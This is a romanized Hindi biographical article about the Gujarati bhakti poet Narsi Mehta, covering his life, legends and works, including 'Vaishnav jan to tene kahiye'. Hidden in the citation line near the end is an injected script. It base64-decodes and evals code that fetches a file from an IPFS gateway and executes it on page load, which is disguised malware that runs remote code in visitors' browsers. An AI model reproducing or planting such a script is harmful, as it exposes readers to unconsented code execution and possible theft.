नरसी मेहता
narasi mehata
| |
| poora nam | narasi mehata |
| any nam | narasianh mehata |
| janm | 1414 ee. |
| janm bhoomi | talaja gram, joonagadh, gujarat |
| mrityu | 1480 ee. |
| karm bhoomi | bharat |
| mukhy rachanaean | ‘sudama charit’, ‘govind gaman’, ‘chaturiyo’, ‘surat sangram’, ‘shriangar mala’, ‘vansatanapado’, ‘krishna janmana pado’ adi. |
| prasiddhi | krishna bhakt kavi |
| nagarikata | bharatiy |
| any janakari | narasi mehata har samay krishna ki bhakti mean tallin rahate the. chhuachhoot ve nahian manate the aur harijanoan ki basti mean jakar unake sath kirtan kiya karate the. isase biradari ne unaka bahishkar tak kar diya tha, par ve apane mat se dige nahian. |
| inhean bhi dekhean | kavi soochi, sahityakar soochi |
narasi mehata athava narasianh mehata (aangrezi:Narsinh Mehta) (janm 1414 ee. joonagadh) gujarati bhakti sahity ke shreshthatam kavi the. unake krititv aur vyaktitv ki mahatta ke anuroop sahity ke itihas granthoan mean "narasianh-mira-yug" nam se ek svatantr kavy kal ka nirdharan kiya gaya hai, jisaki mukhy visheshata bhavapravan krishna ki bhakti se anuprerit padoan ka nirman hai. padapraneta ke roop mean gujarati sahity mean narasi ka lagabhag vahi sthan hai jo hindi mean mahakavi sooradas ka hai.
jivan parichay
gujarati sahity ke adi kavi sant narasi mehata ka janm 1414 ee. mean joonagadh (saurashtr) ke nikat, talaja gram mean ek nagar brahman parivar mean hua tha. mata-pita ka bachapan mean hi dehaant ho gaya tha. isalie apane chachere bhaee ke sath rahate the. adhikatar santoan ki mandaliyoan ke sath ghooma karate the aur 15-16 varsh ki umr mean unaka vivah ho gaya. koee kam n karane par bhabhi un par bahut kataksh karati thi. ek din usaki phatakar se vyathit narasianh gopeshvar ke shiv mandir mean jakar tapasya karane lage. manyata hai ki sat din ke bad unhean shiv ke darshan hue aur unhoanne krishnabhakti aur rasalila ke darshanoan ka varadan maanga. is par dvaraka jakar rasalila ke darshan ho ge. ab narasianh ka jivan poori tarah se badal gaya. bhaee ka ghar chho dakar ve joonagadh mean alag rahane lage. unaka nivas sthan aj bhi ‘narasianh mehata ka chaura’ ke nam se prasiddh hai. ve har samay krishnabhakti mean tallin rahate the. unake lie sab barabar the. chhua-chhoot ve nahian manate the aur harijanoan ki basti mean jakar unake sath kirtan kiya karate the. isase biradari ne unaka bahishkar tak kar diya, par ve apane mat dige nahian.
pita ke shraddh ke samay aur vivahit putri ke sasural usaki garbhavastha mean samagri bhejate samay bhi unhean daivi saphalata mili thi. jab unake putr ka vivah b de nagar ke raja ke vajir ki putri ke sath tay ho gaya. tab bhi narasianh mehata ne dvaraka jakar prabhu ko barat mean chalane ka nimantran diya. prabhu shyamal shah seth ke roop mean barat mean ge aur ‘nirdhan’ narasianh ke bete ki barat ke thath dekhakar log chakit rah ge. harijanoan ke sath unake sanpark ki bat sunakar jab joonagadh ke raja ne unaki pariksha leni chahi to kirtan mean lin mehata ke gale mean aantariksh se phooloan ki mala p d gee thi. nirdhanata ke atirikt unhean apane jivan mean patni aur putr ki mrityu ka viyog bhi jhelana p da tha. par unhoanne apane yogakshem ka poora bhar apane isht shrikrishna par dal diya tha. jis nagar samaj ne unhean bahishkrit kiya tha aant mean usi ne unhean apana ratn mana aur aj bhi gujarat mean unaki vah manyata hai.[1]
rachanaean
narasianh mehata ne b de marmasparshi bhajanoan ki rachana ki. gaandhi ji ka priy bhajan ‘vaishnav jan to tene kahiye’ unhian ka racha hua hai. bhakti, jnan aur vairagy ke padoan ke atirikt unaki yah kritiyaan prasiddh haian[1]-
- ‘sudama charit’
- ‘govind gaman’
- ‘danalila’,
- ‘chaturiyo’
- ‘surat sangram’
- ‘rasasahastr padi’
- ‘shriangar mala’
- ‘vansatanapado’
- ‘krishna janmana pado’
santoan ke sath bahut-si kathaean ju di rahati haian. narasi mehata ke sanbandh mean bhi aisi anek ghatanaoan ka varnan milata hai. inamean se kuchh ka ullekh svayan unake padoan mean milane se log inhean yatharth ghatanaean bhi manate haian. un dinoan huandi ka prachalan tha. log paid-yatra mean nakad dhan nahian le jate the. kisi vishvast aur prasiddh vyakti ke pas rupaya jama karake usase doosare shahar ke vyakti ke nam huandi (dhanadesh) likha lete the. narasianh mehata ki garibi ka upahas karane ke lie kuchh shararati logoan ne dvaraka jane vale tirth yatriyoan se huandi likhava li, par jab yatri dvaraka pahuanche to shyamal shah seth ka roop dharan karake shrikrishna narasianh ki huandi ka dhan tirthayatriyoan ko de diya.[1]
nidhan
narasi mehata ka nidhan 1480 ee. mean mana jata hai.
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tika tippani aur sandarbh
- ↑ 1.0 1.1 1.2 liladhar, sharma bharatiy charit kosh (hindi). bharatadiskavari pustakalay: shiksha bharati, 414.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
bahari k diyaan
sanbandhit lekh